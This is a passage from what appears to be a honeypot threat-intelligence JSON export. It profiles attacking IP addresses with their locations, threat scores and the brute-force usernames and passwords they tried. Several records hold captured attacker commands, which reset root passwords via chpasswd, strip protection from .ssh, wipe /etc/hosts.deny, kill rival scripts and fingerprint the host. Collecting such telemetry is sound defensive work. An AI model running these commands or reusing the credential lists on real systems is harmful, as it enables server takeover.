        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 244,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T20:54:26.700000+00:00",
        "last_seen_30d": "2026-03-09T21:25:53.342000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 71
      }
    },
    "3.134.216.108": {
      "attack_count": 155,
      "first_seen": "2026-03-12T22:13:03.804Z",
      "last_seen": "2026-03-30T16:00:20.804Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 99.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4605,
        "days_active_30d": 29,
        "ports_targeted_30d": 146,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-03-03T15:08:00+00:00",
        "last_seen_30d": "2026-03-31T21:20:54.737000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2958,
        "Honeytrap": 1292,
        "Cowrie": 155,
        "Dionaea": 79,
        "Redishoneypot": 45,
        "ConPot": 26,
        "Mailoney": 17,
        "Ipphoney": 9,
        "Ciscoasa": 8,
        "Tanner": 6,
        "ElasticPot": 5,
        "H0neytr4p": 3,
        "CitrixHoneypot": 2
      }
    },
    "51.68.138.162": {
      "attack_count": 133,
      "first_seen": "2026-03-12T12:22:28.360Z",
      "last_seen": "2026-03-12T22:20:26.550Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "claude",
        "n8n",
        "345gs5662d34",
        "admin",
        "alex",
        "cvs",
        "dolphinscheduler",
        "felix",
        "ghostadmin",
        "mama",
        "mosquitto",
        "nexus",
        "odoo",
        "oracle",
        "park",
        "public",
        "rose",
        "vboxuser"
      ],
      "passwords_attempted": [
        "12345",
        "1111",
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "@Admin123",
        "Admin123",
        "Mama123",
        "Public123",
        "abcd1234#",
        "cloud@123",
        "dolphinschedulerpass",
        "mosquitto123",
        "n8n",
        "nexus123",
        "odoo@2025",
        "park123",
        "pass123",
        "qwerty"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 192,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T12:22:28.360000+00:00",
        "last_seen_30d": "2026-03-12T22:21:31.567000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 59
      }
    },
    "178.34.177.42": {
      "attack_count": 128,
      "first_seen": "2026-03-21T19:14:30.527Z",
      "last_seen": "2026-03-21T19:22:11.198Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "guest",
        "supervisor",
        "666666",
        "888888",
        "Admin",
        "Administrator",
        "admin1",
        "administrator",
        "default",
        "mother",
        "service",
        "support",
        "tech",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "admin",
        "password",
        "",
        "1111",
        "123456",
        "1234567890",
        "54321",
        "5up",
        "666666",
        "7ujMko0admin",
        "888888",
        "Win1doW$",
        "aquario",
        "pass",
        "user",
        "00000000",
        "1001chin",
        "1111111"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 201776,
      "as_org": "Miranda-Media Ltd",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T19:14:30.527000+00:00",
        "last_seen_30d": "2026-03-21T19:32:11.531000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 19
      }
    },
    "117.207.209.119": {
      "attack_count": 124,
      "first_seen": "2026-03-10T10:09:45.518Z",
      "last_seen": "2026-03-10T10:38:56.127Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "odoo17",
        "345gs5662d34",
        "andy",
        "azureuser",
        "boss",
        "clawd",
        "gera",
        "hyun",
        "joshua",
        "new",
        "pilot",
        "test1"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Boss123",
        "andy1234",
        "clawd123",
        "gerapass",
        "hyun",
        "joshua",
        "password",
        "test11234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\n4juW9x72GsZL\\n4juW9x72GsZL\\n\"|passwd",
        "echo -e \"1234\\n4juW9x72GsZL\\n4juW9x72GsZL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jhunjhun\u016bn",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:09:45.518000+00:00",
        "last_seen_30d": "2026-03-10T10:40:03.447000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "170.254.229.191": {
      "attack_count": 123,
      "first_seen": "2026-03-06T06:51:19.514Z",
      "last_seen": "2026-03-06T07:15:24.394Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdul",
        "adv",
        "apexuser",
        "demo",
        "elk",
        "guest",
        "hdoop",
        "linuxbrew",
        "user1"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "Abdul123",
        "Adv123!",
        "USER1",
        "Welcome2026!",
        "apexuser123",
        "demo123",
        "guest01",
        "hdoop123",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:F9D7WQMsUMll\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cartago",
      "asn": 27951,
      "as_org": "Media Commerce Partners S.A",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:51:19.514000+00:00",
        "last_seen_30d": "2026-03-06T07:16:27.761000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 30
      }
    },
    "172.174.72.225": {
      "attack_count": 118,
      "first_seen": "2026-03-17T20:17:55.291Z",
      "last_seen": "2026-03-17T20:39:11.905Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "android",
        "bot",
        "ftpuser2",
        "lyh",
        "netflow",
        "ovh",
        "spawner"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Toyou@123",
        "botuser",
        "ftpuser2123",
        "jancok123",
        "lyh",
        "password",
        "qwe123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:YZQvEQqtyPRw\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T20:17:55.291000+00:00",
        "last_seen_30d": "2026-03-17T20:40:20.434000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "185.233.247.245": {
      "attack_count": 108,
      "first_seen": "2026-03-07T17:14:25.768Z",
      "last_seen": "2026-03-08T12:56:27.919Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 206119,
      "as_org": "Veganet Teknolojileri ve Hizmetleri LTD STI",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.1,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 812,
        "days_active_30d": 3,
        "ports_targeted_30d": 152,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T17:11:08+00:00",
        "last_seen_30d": "2026-03-09T17:28:42.128000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 406,
        "Honeytrap": 298,
        "Cowrie": 108
      }
    },
    "163.5.79.129": {
      "attack_count": 99,
      "first_seen": "2026-03-20T00:01:37.787Z",
      "last_seen": "2026-03-20T00:21:38.067Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "pedro",
        "345gs5662d34",
        "gw",
        "michael",
        "pm2user",
        "root",
        "tunnel"
      ],
      "passwords_attempted": [
        "1225",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Pedro123",
        "michael2025",
        "pm2user123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Pedro123\\nvh3KUFXY4iKX\\nvh3KUFXY4iKX\\n\"|passwd",
        "echo -e \"Pedro123\\nvh3KUFXY4iKX\\nvh3KUFXY4iKX\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 152672,
      "as_org": "Aiyun HK Network",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T00:01:37.787000+00:00",
        "last_seen_30d": "2026-03-20T00:22:39.005000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 19
      }
    },
    "46.29.238.171": {
      "attack_count": 99,
      "first_seen": "2026-03-08T23:23:34.581Z",
      "last_seen": "2026-03-08T23:48:57.040Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "administrator",
        "manel",
        "ruslan",
        "userb"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "Ruslan123!",
        "admin@123",
        "adminpass",
        "globalwarming",
        "manelpass",
        "test123",
        "userb1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"adminpass\\nCne2VnWJJwxd\\nCne2VnWJJwxd\\n\"|passwd",
        "echo -e \"adminpass\\nCne2VnWJJwxd\\nCne2VnWJJwxd\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Norway",
      "country_code": "NO",
      "city": "Nordland",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:23:34.581000+00:00",
        "last_seen_30d": "2026-03-08T23:49:58.387000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 20
      }
    },
    "134.112.56.47": {
      "attack_count": 94,
      "first_seen": "2026-03-15T06:53:04.138Z",
      "last_seen": "2026-03-15T07:20:05.095Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "abc",
        "dmdba",
        "help",
        "lyh",
        "root",
        "webftp",
        "zjsf"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "12345678",
        "Asdf123456",
        "help2025",
        "lyh123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nbj10TxxY7lTQ\\nbj10TxxY7lTQ\\n\"|passwd",
        "echo -e \"123456\\nbj10TxxY7lTQ\\nbj10TxxY7lTQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T06:53:04.138000+00:00",
        "last_seen_30d": "2026-03-15T07:21:09.047000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 20
      }
    },
    "103.61.122.229": {
      "attack_count": 91,
      "first_seen": "2026-03-03T05:28:48.491Z",
      "last_seen": "2026-03-27T03:45:58.529Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu"
      ],
      "passwords_attempted": [
        "Abhishek@123",
        "1234",
        "123456",
        "12345678aaa",
        "Aa123456",
        "Admin123",
        "Admin@123",
        "Alex@123",
        "Qaz@WSX",
        "Server$123",
        "Server$1234",
        "admin",
        "ak@1234",
        "asd*12345",
        "porn",
        "root"
      ],
      "commands_executed": [
        "history | tail -5",
        "hostname"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 47.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:28:48.491000+00:00",
        "last_seen_30d": "2026-03-27T03:47:07.824000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 51
      }
    },
    "134.122.98.60": {
      "attack_count": 80,
      "first_seen": "2026-03-11T22:42:42.008Z",
      "last_seen": "2026-03-11T22:54:51.633Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "root",
        "root1",
        "root12",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:42:42.008000+00:00",
        "last_seen_30d": "2026-03-11T22:55:55.419000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 34
      }
    },
    "95.90.13.168": {
      "attack_count": 73,
      "first_seen": "2026-03-12T13:57:26.347Z",
      "last_seen": "2026-03-12T14:18:38.908Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "angel",
        "345gs5662d34",
        "hanul",
        "live",
        "n8n",
        "nominatim",
        "prashant",
        "root",
        "shawn",
        "telegram",
        "viewer",
        "wireguard"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Angel123",
        "Tencent@2025",
        "hanul123",
        "n8n",
        "nominatim123!",
        "prashantpass",
        "shawnpass",
        "viewerpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Altdorf bei N\u00fcrnberg",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T13:57:26.347000+00:00",
        "last_seen_30d": "2026-03-12T14:19:49.007000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 30
      }
    },
    "209.38.26.248": {
      "attack_count": 65,
      "first_seen": "2026-03-10T01:34:05.451Z",
      "last_seen": "2026-03-10T01:45:09.576Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "docker",
        "pi"
      ],
      "passwords_attempted": [
        "!root",
        "1qaz2wsx",
        "1qaz@WSX",
        "Admin2026!",
        "P@ssw0rd2026",
        "Qwerty2026!",
        "docker123",
        "qwerty123456",
        "raspberry",
        "root!@#",
        "root2026"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T01:34:05.451000+00:00",
        "last_seen_30d": "2026-03-10T01:46:14.937000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 65,
        "Suricata": 28
      }
    },
    "124.29.230.75": {
      "attack_count": 50,
      "first_seen": "2026-03-22T18:51:55.619Z",
      "last_seen": "2026-03-22T18:57:33.855Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T18:51:55.619000+00:00",
        "last_seen_30d": "2026-03-22T18:58:34.463000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.0": {
      "attack_count": 50,
      "first_seen": "2026-03-31T03:07:41.249Z",
      "last_seen": "2026-03-31T03:13:05.665Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T03:07:41.249000+00:00",
        "last_seen_30d": "2026-03-31T03:14:08.408000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
